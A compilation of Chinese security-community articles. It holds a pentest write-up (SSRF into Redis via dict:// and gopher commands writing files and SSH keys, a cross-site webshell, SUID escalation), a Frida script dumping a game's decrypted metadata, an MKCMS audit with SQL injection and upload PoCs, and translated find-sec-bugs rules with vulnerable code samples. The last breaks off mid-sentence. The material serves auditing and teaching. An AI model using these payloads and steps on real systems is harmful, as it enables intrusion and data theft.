在客户系统后台转了半天，最后在一个查看功能处发现了突破点
抓包发现post参数好像有点意思，尝试换掉默认图片的地址，改为dnslog地址，返回提示路径不正确。
猜测是做了后缀的限制，应该只能post png,jpg等后缀的地址，先试试读取一下远程服务器上的图片，成功返回，果然有东西。
一个标准的ssrf，，因为没法改变后缀，应该是不能读取passwd之类的文件了，还是先打一波dnslog，记录一下真实ip地址。
但是ssrf可不只是读个文件那么简单，ssrf通常可以用来打内网应用，通过它来打个redis或者mysql岂不美哉。
先借助ssrf探测一下开放的端口，22，80，443，6379。
看看攻击redis一般可以利用的dict和gopher两种协议，使用gopher协议的话需要注意一些利用限制。
gopher协议规则比较复杂，经过查找，找到了一款工具，使用其生成的payload很准确，且可自定义。
需要的小伙伴可以自取。
https://github.com/firebroo/sec_tools
需要将内容再进行一次url编码传到web的参数中才会正常运行。
Dict协议敲命令较为直接。
1.写入内容；
dict://127.0.0.1:6379/set:x:test
2.设置保存路径；
dict://127.0.0.1:6379/config:set:dir:/tmp/
3.设置保存文件名；
dict://127.0.0.1:6379/config:set:dbfilename:1.png
4.保存。
dict://127.0.0.1:6379/save
我们一般对redis常见的攻击方式有：
1. 写webshell；
2. 写密钥；
3. 定时任务反弹。
第一种需要web路径，后两种方法可能需要一定的权限。
攻击的思路有了，但是我们通过dict协议访问后并没有出现回显，不知道是否存在未授权的redis服务，盲打一顿可能浪费宝贵的时间，灵光乍现，可以先写一个图片文件到tmp目录里，再通过file协议进行读取，出现内容就表明redis是能够利用的。
出现回显，说明文件成功写入了，虽然有乱码，但是影响不大。
为了拿到shell，当然是先试试用gopher协议写密钥，本机生成密钥:ssh-keygen -t
rsa。再使用工具将以下命令转换成gopher协议支持的形式。
config set dir /root/.ssh
config set dbfilename authorized_keys
set test "xxx"
save
写入后尝试连接一下页面啥也没返回，尝试连接一下Wfk，突然想起nmap结果好像ssh没对外开放，决策性失误。
尝试反弹计划任务，但是等了半天也没见shell弹回来，猜测可能是权限不够，没能够成功写入，可惜前期测试中并没有发现信息泄露暴露出web目录的路径，不然能写个webshell也是极好的。
没办法，这个只能先搁置一边，条条大路同罗马，既然这个域名不行，看看有没有绑定的其他域名在这个ip上。
## 旁站信息泄露getshell
通过之前记录的dnslog上的ip地址进行反查，发现了该ip地址下绑定了其他域名。
访问后改掉url变量后的默认参数，触发报错，成功爆出了绝对路径，小小的报错，却提供了巨大的价值。
因为是旁站，现在获取到了B站的网站路径，如果能通过A站的ssrf把webshell写到B站的web路径里也是美滋滋了，说干就干。
访问shell，并敲入whoami命令查看权限，发现是个低权www用户。
## 提权
弹个交互的shell出来方便进行提权，但是远程服务器一直没法正常收到shell。
切换一下端口，网络管理员可能做了一定的限制，尝试通过443，53等经常开放的端口弹出shell。
成功拿到shell，获取到低权限SHELL后一般会看看内核版本，检测当前用户权限，再列举Suid文件，如果都没发现可能会借助一些自动化脚本来检查可能存在的提权方式。
通过find / -perm -u=s -type f 2>/dev/null看看有s属性文件。
Python好像是可以通过suid提权的，翻了翻自己的小笔记，payload一发入魂。
这里附上centos下suid提权较为全面的[总结](https://www.freebuf.com/articles/system/244627.html)。
至此测试结束。
## 总结
整个测试过程遇到很多困难，许多地方看似简单，其实是反复尝试之后才顺利过关。
测试中其实并未使用多么牛逼的攻击手段，简单梳理整个流程：全网信息搜集发现用户账户撞库拿到部分密码前端验证绕过发现新功能点ssrf探测信息旁站获取web绝对路径跨网站写入shell拿到shell后通过suid提权。 | 社区文章 |
# 手游之u3d之global-metadata.dat解密
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
所需工具：
010editor
frida
js脚本
Il2CppDumper
ida
一款国外的游戏，u3d引擎，没有mono，使用Il2CppDumper一番操作
Dump失败，好吧，
ida打开libil2cpp.so,能正常打开，应该没加密
010editor打开global-metadata.dat
global-metadata.dat头部信息，正常是AF 1B B1 FA 18，
应该就是加密了，
使用模块跑一下
下载地址：
<https://www.sweetscape.com/010editor/repository/templates/>
导入后，跑一下
出错，绝逼是加密了，如果没加密正常是能跑通的，找个没加密的跑一下，正常是这样的，如下图
这里说一下如何计算global-metadata.dat大小的，
查看metadataHeader段
有各种偏移和大小，计算整个文件大小就在这里面，
直接查看最后一个
大小和偏移加起来就是0x55c118 + 0xf0c = 0x55D024
Ctrl+G,直接跳转到该偏移，刚好是文件末尾
看了很多文件，最后一个属性都是在0x108,0x10C，有个注意点就是如果最后一个属性的值比倒数第二个小的话，就取倒数第二个的属性值。
基于以上两点，我们祭出frida，写下js脚本
解释如下：
代码如下：
/*
获取解密后的global-metadata.dat
github:https://github.com/350030173/global-metadata_dump
用法：
frida -U -l global-metadata_dump.js packagename
导出的文件在/data/data/yourPackageName/global-metadata.dat
*/
//
//get_self_process_name()获取当前运行进程包名
//参考：https://github.com/lasting-yang/frida_dump/blob/master/dump_dex_class.js
function get_self_process_name()
{
var openPtr = Module.getExportByName('libc.so', 'open');
var open = new NativeFunction(openPtr, 'int', ['pointer', 'int']);
var readPtr = Module.getExportByName("libc.so", "read");
var read = new NativeFunction(readPtr, "int", ["int", "pointer", "int"]);
var closePtr = Module.getExportByName('libc.so', 'close');
var close = new NativeFunction(closePtr, 'int', ['int']);
var path = Memory.allocUtf8String("/proc/self/cmdline");
var fd = open(path, 0);
if (fd != -1)
{
var buffer = Memory.alloc(0x1000);
var result = read(fd, buffer, 0x1000);
close(fd);
result = ptr(buffer).readCString();
return result;
}
return "-1";
}
function frida_Memory(pattern)
{
Java.perform(function ()
{
console.log("头部标识:" + pattern);
var addrArray = Process.enumerateRanges("r--");
for (var i = 0; i < addrArray.length; i++)
{
var addr = addrArray[i];
Memory.scan(addr.base, addr.size, pattern,
{
onMatch: function (address, size)
{
console.log('搜索到 ' + pattern + " 地址是:" + address.toString());
console.log(hexdump(address,
{
offset: 0,
length: 64,
header: true,
ansi: true
}
));
//0x108，0x10C如果不行，换0x100，0x104
var DefinitionsOffset = parseInt(address, 16) + 0x108;
var DefinitionsOffset_size = Memory.readInt(ptr(DefinitionsOffset));
var DefinitionsCount = parseInt(address, 16) + 0x10C;
var DefinitionsCount_size = Memory.readInt(ptr(DefinitionsCount));
//根据两个偏移得出global-metadata大小
var global_metadata_size = DefinitionsOffset_size + DefinitionsCount_size
console.log("大小：", global_metadata_size);
var file = new File("/data/data/" + get_self_process_name() + "/global-metadata.dat", "wb");
file.write(Memory.readByteArray(address, global_metadata_size));
file.flush();
file.close();
console.log('导出完毕...');
},
onComplete: function ()
{
//console.log("搜索完毕")
}
}
);
}
}
);
}
setImmediate(frida_Memory("AF 1B B1 FA 18")); //global-metadata.dat头部特征
安装游戏后，游戏启动，attach上
导出的文件在你的游戏的私有目录下，/data/data/yourpackagename/global-metadata.dat
之后导出放在电脑上，使用010查看
嗯，正常了，最后在使用Il2CppDumper导出dump.cs，
那就可以愉快的分析了。。。
有兴趣的可以进群交流，QQ群:542863693，主要用于手游安全分析 | 社区文章 |
# MKCMS代码审计小结
> MKCMS V6.2 (以下源码来自网络)
> MKCMS米酷影视源码6.2开源CMS
> 下载地址链接：<https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow> 提取码：k3ox
> 备用下载地址：<https://www.lanzous.com/ib7zwmh>
# 0x00 全局过滤分析
`/system/library.php:`使用`addslashes`转义入参, 注意到`$_SERVER`未被过滤
# 0x01 验证码重用
`/admin/cms_login.php`验证码处的逻辑如下，比较session中的验证码和输入的是否一致，不一致就进入`alert_href`，这个`js`跳转，实际是在刷新页面
/admin/cms_login.php:
<?php
6 ...
7 if(isset($_POST['submit'])){
8: if ($_SESSION['verifycode'] != $_POST['verifycode']) {
9 alert_href('验证码错误','cms_login.php');
10 }
...
跳转后就会刷新验证码，然而我用的是burp，默认是不解析js的
全局搜索这个`$_SESSION['verifycode']`，发现只在`/system/verifycode.php`有赋值，也就是说，如果使用验证码后，我们不跟随`js`跳转，就不会重置验证码，
**验证码也就能被重复使用** 了
使用burp重放，的确如此，验证码形同虚设
# 0x02 前台注入1：/ucenter/repass.php
看了下历史的漏洞，在`/ucenter/repass.php`有个越权修改密码的洞（[CVE-2019-11332](https://nvd.nist.gov/vuln/detail/CVE-2019-11332)），跟进去发现原来还有注入，以下是分析过程
/ucenter/repass.php
<?php
...
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
...
前面说到全局对`$_POST`存在`addslash`的过滤（加`\`转义），上面又把参数给`stripslashes`了(去掉`\`），这不就是个注入？
后来复盘，实际上，这个问题`coolcat`师傅早在去年就在先知上提出来了：[某KCMS5.0 代码审计
(前台注入&任意用户密码重置)，](https://xz.aliyun.com/t/4189#toc-1)师傅nb！
# 0x03 前台注入2：/ucenter/active.php
`/ucenter/active.php?verify=1`存在注入
/ucenter/active.php
<?php
...
$verify = stripslashes(trim($_GET['verify'])); //去掉了转义用的\
$nowtime = time();
$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");
$row = mysql_fetch_array($query);
...
sqlmap直接跑即可
[INFO] GET parameter 'verify' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'verify' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
# 0x04 前台注入3：/ucenter/reg.php
`/ucenter/reg.php`的`name`参数，存在注入
/ucenter/reg.php
<?php
...
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
...
# 0x05 任意用户密码找回（密码可被穷举）
任意用户密码找回
这个问题主要是`/ucenter/repass.php`代码里，找回密码的逻辑有问题，第10行查询到`username`、
`email`能对应上之后，14行就直接重置密码了。。。而且密码的范围在12行有写，只有90000种可能，重置之后，burp跑一下不就ok了？（当然要结合验证码重用才能有效爆破）
# 0x06 备份文件路径可猜解
这个备份功能也太顶了，而且还是那么简单的文件名
`/backupdata/movie.sql`
/admin/cms_backup.php
<?php
$filename="../backupdata/".DATA_NAME.".sql"; //存放路径，默认存放到项目最外层
$fp = fopen($filename,'w');
fputs($fp,$mysql);
fclose($fp);
alert_href('备份成功!','cms_data.php');
?>
全局搜`DATA_NAME`变量，是安装时候设置的数据库名
默认的`DATA_NAME`值是`movie`
# 0x07 前台文件上传
`/editor/php/upload_json.php?dir=file`
源码如下
<?php
$ext_arr = array(
'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'),
'flash' => array('swf', 'flv'),
'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'),
'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2' ,'7z'),
);
...
$file_name = $_FILES['imgFile']['name'];
...
//获得文件扩展名
$temp_arr = explode(".", $file_name);
$file_ext = array_pop($temp_arr);
$file_ext = trim($file_ext); /*将file_ext转换为字符串。。。无弱类型问题了**/
$file_ext = strtolower($file_ext); //将file_ext转换为字符串。。。无弱类型问题了
//检查扩展名，是否在大的数组中，in_array存在若类型问题
if (in_array($file_ext, $ext_arr[$dir_name]) === false) {
alert("上传文件扩展名是不允许的扩展名。\n只允许" . implode(",", $ext_arr[$dir_name]) . "格式。");
}result
...
可以上传列表里的文件，只是无法拿shell
POST /editor/php/upload_json.php?dir=file HTTP/1.1
Host: localhost
Content-Length: 306
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryni3BwmVzIUwKfSSC
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/editor/php/upload_json.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryni3BwmVzIUwKfSSC
Content-Disposition: form-data; name="imgFile"; filename="1.jpg.html"
Content-Type: application/octet-stream
11111111
------WebKitFormBoundaryni3BwmVzIUwKfSSC
Content-Disposition: form-data; name="upload"
Send
------WebKitFormBoundaryni3BwmVzIUwKfSSC--
响应里返回文件地址 | 社区文章 |
翻译自：<http://find-sec-bugs.github.io/bugs.htm>
翻译：聂心明
# 可预测的伪随机数发生器
漏洞特征：PREDICTABLE_RANDOM
在某些关键的安全环境中使用可预测的随机数可能会导致漏洞，比如，当这个值被作为：
* csrf token；如果攻击者可以预测csrf的token值的话，就可以发动csrf攻击
* 重置密码的token（通过邮件发送）；如果重置密码的token被替换的话，那么就会导致用户账户被接管，因为攻击者会猜测到重置密码的链接。
* 其他包含秘密的信息
修复这个漏洞最快的方式是用强随机数生成器（ 比如：`java.security.SecureRandom` ）替换掉
`java.util.Random`
有漏洞的代码：
String generateSecretToken() {
Random r = new Random();
return Long.toHexString(r.nextLong());
}
解决方案
import org.apache.commons.codec.binary.Hex;
String generateSecretToken() {
SecureRandom secRandom = new SecureRandom();
byte[] result = new byte[32];
secRandom.nextBytes(result);
return Hex.encodeHexString(result);
}
引用：
[Cracking Random Number Generators - Part 1
(http://jazzy.id.au)](http://jazzy.id.au/default/2010/09/20/cracking_random_number_generators_part_1.html)
[CERT: MSC02-J. Generate strong random
numbers](https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers)
[CWE-330: Use of Insufficiently Random Values
](http://cwe.mitre.org/data/definitions/330.html)
[Predicting Struts CSRF Token (Example of real-life vulnerability and
exploitation)](http://blog.h3xstream.com/2014/12/predicting-struts-csrf-token-cve-2014.html)
# 可预测的伪随机数发生器（Scala）
漏洞特征：PREDICTABLE_RANDOM_SCALA
在某些关键的安全环境中使用可预测的随机数可能会导致漏洞，比如，当这个值被作为：
* csrf token；如果攻击者可以预测csrf的token值的话，就可以发动csrf攻击
* 重置密码的token（通过邮件发送）；如果重置密码的token被替换的话，那么就会导致用户账户被接管，因为攻击者会猜测到重置密码的链接。
* 其他包含秘密的信息
修复这个漏洞最快的方式是用强随机数生成器（ 比如：`java.security.SecureRandom` ）替换掉
`java.util.Random`
有漏洞的代码：
import scala.util.Random
def generateSecretToken() {
val result = Seq.fill(16)(Random.nextInt)
return result.map("%02x" format _).mkString
}
解决方案：
import java.security.SecureRandom
def generateSecretToken() {
val rand = new SecureRandom()
val value = Array.ofDim[Byte](16)
rand.nextBytes(value)
return value.map("%02x" format _).mkString
}
[Cracking Random Number Generators - Part 1
(http://jazzy.id.au)](http://jazzy.id.au/default/2010/09/20/cracking_random_number_generators_part_1.html)
[CERT: MSC02-J. Generate strong random
numbers](https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers)
[CWE-330: Use of Insufficiently Random Values
](http://cwe.mitre.org/data/definitions/330.html)
[Predicting Struts CSRF Token (Example of real-life vulnerability and
exploitation)](http://blog.h3xstream.com/2014/12/predicting-struts-csrf-token-cve-2014.html)
# 没有做任何安全检查的servlet 参数
漏洞特征：SERVLET_PARAMETER
Servlet 会从各种函数中获取到GET和POST的值。这些被获取的值肯定是不安全的。在进入到敏感的api函数之前你可能需要验证和过滤这些值：
* sql 查询 （可能导致sql注入）
* 文件操作 （ 可能会导致目录穿越 ）
* 命令执行 （ 可能会导致命令注入 ）
* html解析 （可能会导致xss)
* 其他的
引用：
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# 没有做任何安全检查Content-Type 头
漏洞特征：SERVLET_CONTENT_TYPE
服务器端程序通过客户端收集http的Content-Type的值。这个值可能会影响影响应用的安全性
引用：
[CWE-807: Untrusted Inputs in a Security
Decision](http://cwe.mitre.org/data/definitions/807.html)
# 没有做任何安全检查Hostname 头
漏洞特征： SERVLET_SERVER_NAME
服务器端程序通过客户端收集http的hostname
的值。这个值可能会影响影响应用的安全性。`ServletRequest.getServerName()`和
`HttpServletRequest.getHeader("Host")`的行为很相似，都是从http头部中获取到host的值
GET /testpage HTTP/1.1
Host: www.example.com
[...]
默认情况下，web容器可能会直接将请求重定向到你的应用程序中。这就允许用户把恶意的请求放入http的host头中。我建议你不要信任来自客户端的任何输入。
引用：
[CWE-807: Untrusted Inputs in a Security
Decision](http://cwe.mitre.org/data/definitions/807.html)
# 没有做任何安全检查的session cookie值
漏洞特征： SERVLET_SESSION_ID
`HttpServletRequest.getRequestedSessionId()` (
<http://docs.oracle.com/javaee/6/api/javax/servlet/http/HttpServletRequest.html#getRequestedSessionId(>)
)函数返回cookie中JSESSIONID的值。这个值通常被session 管理器访问，而不是开发者代码。
传递给客户端的值通常是字母数字（ 例如：JSESSIONID=jp6q31lq2myn
），无论如何，这个值可以被客户端改变，下面的http请求展示了潜在的危险
GET /somePage HTTP/1.1
Host: yourwebsite.com
User-Agent: Mozilla/5.0
Cookie: JSESSIONID=Any value of the user's choice!!??'''">
像这样，JSESSIONID应该仅被使用判断是否与存在的session ID相匹配，如果不存在对应的session
ID，那么这个用户就可能会是未授权用户。此外， session
ID的值应该从来不被记录，如果记录了，那么日志文件中就会包含有效的且在激活状态的session
IDs，这样就会允许内部员工可以通过日志记录来劫持任意在线用户。
引用：
[OWASP: Session Management Cheat
Sheet](https://www.owasp.org/index.php/Session_Management_Cheat_Sheet)
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# 没有做任何安全检查的查询字符串
漏洞特征： SERVLET_QUERY_STRING
查询字符串是get请求中参数名和参数值的串联，可以传入预期之外的参数。 比如URL请求：/app/servlet.htm?a=1&b=2
，查询字符串就是a=1&b=2
通过函数 HttpServletRequest.getParameter() 接收每一个传递进来的参数的值，通过
HttpServletRequest.getQueryString()
这个函数获取到的值应该被看做不安全的。你应该在查询字符串进入敏感函数之前去充分的效验和过滤它们。
引用：
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# 没有做任何安全检查的HTTP头
漏洞特征：SERVLET_HEADER
http请求头很容易会被用户所修改。通常，不要假想请求来自于没有被黑客修改的常规浏览器。我建议你，不要相信客户端传递进来的http头部值
引用：
[CWE-807: Untrusted Inputs in a Security
Decision](http://cwe.mitre.org/data/definitions/807.html)
# 没有做任何安全检查的Referer值
漏洞特征：SERVLET_HEADER_REFERER
行为：
* 如果请求来自于恶意用户，那么Referer的值会是任意的情况。
* 如果请求来自于另一个安全的源（https），那么Referer头就是空的。
建议：
* 访问控制不应该基于此标头的值。
* csrf保护不应该仅基于此值。（ [因为这个选项](http://www.w3.org/Protocols/HTTP/HTRQ_Headers.html#z14) ）
引用：
[CWE-807: Untrusted Inputs in a Security
Decision](http://cwe.mitre.org/data/definitions/807.html)
# 没有做任何安全检查的User-Agent值
漏洞特征： SERVLET_HEADER_USER_AGENT
"User-Agent" 很容易被客户端伪造，不建议基于不同的User-Agent（比如爬虫的UA）来适配不同的行为。
引用：
[CWE-807: Untrusted Inputs in a Security
Decision](http://cwe.mitre.org/data/definitions/807.html)
# 潜在的cookie中包含敏感数据
漏洞特征： COOKIE_USAGE
存储在客户端中cookie的数据不应该包含敏感数据或者与session相关的数据。大多数情况下，敏感数据应该仅仅存储在session中，并且通过通过用户的session值去访问。详细请看HttpSession
(HttpServletRequest.getSession())
客户端cookie应该是比特定会话维持时间更长且独立于特殊会话
引用：
[CWE-315: Cleartext Storage of Sensitive Information in a
Cookie](http://cwe.mitre.org/data/definitions/315.html)
# 潜在的路径穿越（文件读取）
漏洞特征：PATH_TRAVERSAL_IN
一个文件被打开，然后读取文件内容，这个文件名来自于一个输入的参数。如果没有过滤这个传入的参数，那么本地文件系统中任意文件都会被读取。
这个规则识别潜在的路径穿越漏洞。在许多场景中，用户无法控制文件路径，如果有工具报告了这个问题，那么这个就是误报
有漏洞代码：
@GET
@Path("/images/{image}")
@Produces("images/*")
public Response getImage(@javax.ws.rs.PathParam("image") String image) {
File file = new File("resources/images/", image); //Weak point
if (!file.exists()) {
return Response.status(Status.NOT_FOUND).build();
}
return Response.ok().entity(new FileInputStream(file)).build();
}
解决方案：
import org.apache.commons.io.FilenameUtils;
@GET
@Path("/images/{image}")
@Produces("images/*")
public Response getImage(@javax.ws.rs.PathParam("image") String image) {
File file = new File("resources/images/", FilenameUtils.getName(image)); //Fix
if (!file.exists()) {
return Response.status(Status.NOT_FOUND).build();
}
return Response.ok().entity(new FileInputStream(file)).build();
}
引用：
[WASC: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
[CAPEC-126: Path Traversal](http://capec.mitre.org/data/definitions/126.html)
[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal') ](http://cwe.mitre.org/data/definitions/22.html)
# 潜在的路径穿越（文件写）
漏洞特征：PATH_TRAVERSAL_OUT
一个文件被打开，然后读取文件内容，这个文件名来自于一个输入的参数。如果没有过滤这个传入的参数，那么本地文件系统中任意文件都会被修改。
这个规则识别潜在的路径穿越漏洞。在许多场景中，用户无法控制文件路径，如果有工具报告了这个问题，那么这个就是误报
引用：
[WASC: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
[CAPEC-126: Path Traversal](http://capec.mitre.org/data/definitions/126.html)
[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal') ](http://cwe.mitre.org/data/definitions/22.html)
# 潜在的路径穿越（文件读取）
漏洞特征：SCALA_PATH_TRAVERSAL_IN
一个文件被打开，然后读取文件内容，这个文件名来自于一个输入的参数。如果没有过滤这个传入的参数，那么本地文件系统中任意文件都会被读取。
这个规则识别潜在的路径穿越漏洞。在许多场景中，用户无法控制文件路径，如果有工具报告了这个问题，那么这个就是误报
有漏洞代码：
def getWordList(value:String) = Action {
if (!Files.exists(Paths.get("public/lists/" + value))) {
NotFound("File not found")
} else {
val result = Source.fromFile("public/lists/" + value).getLines().mkString // Weak point
Ok(result)
}
}
解决方案：
import org.apache.commons.io.FilenameUtils;
def getWordList(value:String) = Action {
val filename = "public/lists/" + FilenameUtils.getName(value)
if (!Files.exists(Paths.get(filename))) {
NotFound("File not found")
} else {
val result = Source.fromFile(filename).getLines().mkString // Fix
Ok(result)
}
}
引用：
[WASC: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
[CAPEC-126: Path Traversal](http://capec.mitre.org/data/definitions/126.html)
[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal') ](http://cwe.mitre.org/data/definitions/22.html)
# 潜在的命令注入
漏洞特征：COMMAND_INJECTION
高亮部分的api被用来执行系统命令，如果输入这个api的数据没有被过滤，那么就会导致任意命令执行
有漏洞的代码：
import java.lang.Runtime;
Runtime r = Runtime.getRuntime();
r.exec("/bin/sh -c some_tool" + input);
引用：
[OWASP: Command Injection](https://www.owasp.org/index.php/Command_Injection)
[OWASP: Top 10
2013-A1-Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
[CWE-78: Improper Neutralization of Special Elements used in an OS Command
('OS Command Injection')](http://cwe.mitre.org/data/definitions/78.html)
# 潜在的命令注入(Scala)
漏洞特征：COMMAND_INJECTION
高亮部分的api被用来执行系统命令，如果输入这个api的数据没有被过滤，那么就会导致任意命令执行
有漏洞的代码：
def executeCommand(value:String) = Action {
val result = value.!
Ok("Result:\n"+result)
}
引用：
[OWASP: Command Injection](https://www.owasp.org/index.php/Command_Injection)
[OWASP: Top 10
2013-A1-Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
[CWE-78: Improper Neutralization of Special Elements used in an OS Command
('OS Command Injection')](http://cwe.mitre.org/data/definitions/78.html)
# 文件类函数没有过滤空字符
漏洞特征：WEAK_FILENAMEUTILS
一些文件类中方法没有过滤空字节（0x00）
如果空字节被注入到文件名之中，如果这个文件被放进系统之中，那么系统则只会读取空字符之前的文件名，字符串就会被空字符截断，甚至java本身也不能关注空字符或者处理这些特殊情况。操作系统的这一特性通常被用来绕过文件名验证去访问其他的文件（例如，后缀是.log"的文件）。
给出两点建议去修复这个问题：
* 升级到7 update 40 或者最近的版本，或者java 8 +，因为空字节注入这个问题已经被这些版本的java所[解决](http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846)
* 要严格验证用户输入的文件名是否是有效的（例如不能包含空字符，不能包含路径字符）
如果你知道你使用的现有的java版本可以避免空字符注入问题，你可以忽略上面的问题。
引用：
[WASC-28: Null Byte
Injection](http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection)
[CWE-158: Improper Neutralization of Null Byte or NUL
Character](http://cwe.mitre.org/data/definitions/158.html)
# 证书管理器接受任何证书
漏洞特征： WEAK_TRUST_MANAGER
空的证书管理器通常可以更轻松的连接到没有[根证书](http://en.wikipedia.org/wiki/Certificate_authority)的主机上。结果就是，就会更容易受到中间人攻击，因为客户端信任所有的证书。
一个证书管理器应该允许信任指定的一种证书（例如：基于信任库）。下面是一种可行的实现方法：
有漏洞的代码：
class TrustAllManager implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
//Trust any client connecting (no certificate validation)
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
//Trust any remote server (no certificate validation)
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
解决方案(基于证书库的证书管理器）：
KeyStore ks = //Load keystore containing the certificates trusted
SSLContext sc = SSLContext.getInstance("TLS");
TrustManagerFactory tmf = TrustManagerFactory.getInstance("SunX509");
tmf.init(ks);
sc.init(kmf.getKeyManagers(), tmf.getTrustManagers(),null);
引用：
[WASC-04: Insufficient Transport Layer
Protection](http://projects.webappsec.org/w/page/13246945/Insufficient%20Transport%20Layer%20Protection)
[CWE-295: Improper Certificate
Validation](http://cwe.mitre.org/data/definitions/295.html)
# HostnameVerifier 接收任何签名证书
漏洞规则：WEAK_HOSTNAME_VERIFIER
因为证书会被很多主机重复使用，接收任意证书的HostnameVerifier经常被使用。结果就是，就会更容易受到中间人攻击，因为客户端信任所有的证书。
一个证书管理器应该允许信任指定的一种证书（例如：基于信任库）。应该创建通配符证书，可以允许多个子域下证书。下面是一种可行的实现方法：
有漏洞的代码：
public class AllHosts implements HostnameVerifier {
public boolean verify(final String hostname, final SSLSession session) {
return true;
}
}
解决方案(基于证书库的证书管理器）：
KeyStore ks = //Load keystore containing the certificates trusted
SSLContext sc = SSLContext.getInstance("TLS");
TrustManagerFactory tmf = TrustManagerFactory.getInstance("SunX509");
tmf.init(ks);
sc.init(kmf.getKeyManagers(), tmf.getTrustManagers(),null);
引用：
[WASC-04: Insufficient Transport Layer
Protection](http://projects.webappsec.org/w/page/13246945/Insufficient%20Transport%20Layer%20Protection)
[CWE-295: Improper Certificate
Validation](http://cwe.mitre.org/data/definitions/295.html)
# 发现JAX-RS REST服务器端
漏洞规则： JAXRS_ENDPOINT
这些函数是REST Web Service 的一部分(JSR311).
这个网站的安全性应该被分析。例如：
* 权限认证，如果强制实施，就应该被测试
* 访问控制，如果强制实施，就应该被测试
* 输入应该被追踪，因为可能会有潜在的漏洞
* 聊天程序应该使用SSL
* 如果服务器支持存储私人数据（例如，通过POST），应该调查它是否对csrf有防御
引用：
[OWASP: REST Assessment Cheat
Sheet](https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet)
[OWASP: REST Security Cheat
Sheet](https://www.owasp.org/index.php/REST_Security_Cheat_Sheet)
[OWASP: Web Service Security Cheat
Sheet](https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet)
[OWASP: Cross-Site Request Forgery](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF))
[OWASP: CSRF Prevention Cheat Sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet)
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# 发现Tapestry页面
漏洞规则： TAPESTRY_ENDPOINT
在应用启动的时候，Tapestry会被发现。Tapestry应用的每一个页面又后端java类和相关的Tapestry标记语言构成（a.tml
文件）。当请求到达的时候，GET/POST参数会被映射到后端的java类之中。映射可以使用fieldName完成：
[...]
protected String input;
[...]
或者显示注释的定义：
[...]
@org.apache.tapestry5.annotations.Parameter
protected String parameter1;
@org.apache.tapestry5.annotations.Component(id = "password")
private PasswordField passwordField;
[...]
这个页面被映射到视图中[/resources/package/PageName].tml.
在应用中的每一个Tapestry页面应该被调查，确保所有的输入都能被自动的映射，并在这些参数被使用之前都是有效的。
引用：
[Apache Tapestry Home Page](http://tapestry.apache.org/)
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# 发现Wicket的web页面
漏洞特征：WICKET_ENDPOINT
这个类代表一个Wicket
web页面。输入的数据会被来自实例中的PageParameters读取，然后把它们送入后端处理程序。当前页面会被映射到视图之中[/package/WebPageName].html.
在应用中的每一个Wicket页面应该被调查，确保所有的输入都能被自动的映射，并在这些参数被使用之前都是有效的。
引用：
[Apache Wicket Home Page](https://wicket.apache.org/)
[CWE-20: Improper Input
Validation](http://cwe.mitre.org/data/definitions/20.html)
# MD2, MD4 和 MD5都是脆弱的哈希函数
漏洞特征：WEAK_MESSAGE_DIGEST_MD5
不建议使用MD2, MD4 和 MD5这个摘要算法。应该使用PBKDF2作为密码的摘要算法。
md5哈希算法的安全性被严重损害。现已存在一种碰撞攻击，这种攻击可以用奔腾2.6 GHz
4核处理器在几秒内碰撞出另一个哈希相同的字符串。进一步来说，还有选择前缀碰撞攻击（chosen-prefix collision attack
